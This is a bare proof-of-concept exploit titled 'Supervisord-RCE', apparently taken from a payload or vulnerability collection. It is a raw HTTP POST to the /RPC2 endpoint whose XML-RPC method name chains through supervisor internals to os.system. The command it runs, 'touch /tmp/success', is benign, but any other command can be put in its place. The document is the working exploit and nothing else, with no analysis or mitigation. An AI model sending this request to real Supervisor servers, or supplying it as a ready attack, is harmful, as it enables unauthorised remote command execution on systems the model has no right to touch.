Supervisord-RCE

    POST /RPC2 HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 275

    <?xml version="1.0"?>
    <methodCall>
    <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
    <params>
    <param>
    <string>touch /tmp/success</string>
    </param>
    </params>
    </methodCall>